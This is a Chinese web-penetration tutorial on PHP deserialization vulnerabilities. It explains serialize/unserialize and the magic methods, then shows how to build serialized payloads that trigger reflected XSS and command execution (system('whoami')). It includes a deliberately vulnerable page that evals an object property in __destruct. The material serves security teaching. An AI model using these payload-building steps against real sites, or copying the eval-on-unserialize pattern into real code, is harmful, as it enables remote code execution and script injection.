【Web渗透入门】10.反序列化漏洞讲解

admin 2023年4月26日10:26:28评论34 views字数 2137阅读7分7秒阅读模式

本节课视频讲解链接:

https://www.bilibili.com/video/BV19T411n7TW/?spm_id_from=333.999.0.0&vd_source=16d23ba7b6eb72e7c4367ba62ab5e2a5

1、漏洞说明

概述:

PHP涉及反序列化漏洞的函数主要有两个,分别是 serialize() 和 unserialize() 。

serialize序列化:

序列化简单来说就是将一个对象转换成可以传输的字符串。

例如下面的代码,将对象DemoClass转换成一段字符串:

O:9:"DemoClass":3:{s:4:"name";s:5:"henry";s:3:"sex";s:3:"man";s:3:"age";i:7;}

O: 代表对象object

9: 代表对象名字的长度为9

3: 代表对象里有3个变量

s: 表示数据类型为String

4: 表示变量名称的长度

i: 表示数据类型为INT

<?php
class DemoClass{
public $name = "henry";
public $sex = "man";
public $age = 7;
}

$example = new DemoClass();
echo serialize($example);
#输出结果: O:9:"DemoClass":3:{s:4:"name";s:5:"henry";s:3:"sex";s:3:"man";s:3:"age";i:7;}

?>

unserialize反序列化:

反序列化简单来说就是将序列化后的字符串还原成对象,如下代码所示:

<?php
class DemoClass{
public $name = "henry";
public $sex = "man";
public $age = 7;
}

$example = new DemoClass();
$SerialString = serialize($example);
$Object = unserialize($SerialString);

print($Object->name); #输出: henry

?>

涉及魔法函数:

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。

如下所示为常见的魔法函数:

construct(): 当一个对象创建时被调用

destruct(): 当一个对象销毁时被调用

toString(): 当一个对象被当做一个字符串使用

sleep(): 在对象被序列化之前执行

wakeup(): 在序列化之后立即被调用


2、漏洞复现

复现案例一:

自行新建一个php文件来生成用于漏洞利用的字符串:

<?php
class S{
   var $test = "<script>alert('Hacking')</script>";
}

$example = new S();
$SerialString = serialize($example);
echo $SerialString;
#输出: O:1:"S":1:{s:4:"test";s:33:"<script>alert('Hacking')</script>";}

?>

将此字符串通过POST请求传递给后台,随后触发XSS反射型漏洞:

【Web渗透入门】10.反序列化漏洞讲解

复现案例二:

生成命令执行序列号字符串:

<?php
class Example {
   var $var = '';
}
$obj = new Example();
$obj->var="system('whoami');";
var_dump(serialize($obj));
//输出:string(53) "O:7:"Example":1:{s:3:"var";s:17:"system('whoami');";}"
?>

【Web渗透入门】10.反序列化漏洞讲解

反序列化漏洞页面源码,通过get提交payload后执行反序列化命令:

<?php
class Example {
   var $var = '';
   function __destruct() {
       eval($this->var);
  }
}
unserialize($_GET['a']);
//输出执行系统用户名信息
?> 

【Web渗透入门】10.反序列化漏洞讲解


3、漏洞代码审计

通常反序列化漏洞的发现及利用是代码审计实现的,审计unser.php,前端将 $POST['o'] 变量传递给后台,后台将此变量反序列化成对象,然后输出该对象的 test 属性。

由此,可通过构造序列化的字符串传递给 $POST['o'] 来实现漏洞利用。

class S{
   var $test = "pikachu";
   function __construct(){
       echo $this->test;
  }
}

//payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
   $s = $_POST['o'];
   if(!@$unser = unserialize($s)){
       $html.="<p>大兄弟,来点劲爆点儿的!</p>";
  }else{
       $html.="<p>{$unser->test}</p>";
  }
}

?>


原文始发于微信公众号(ZackSecurity):【Web渗透入门】10.反序列化漏洞讲解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月26日10:26:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Web渗透入门】10.反序列化漏洞讲解http://cn-sec.com/archives/1692306.html

发表评论

匿名网友 填写信息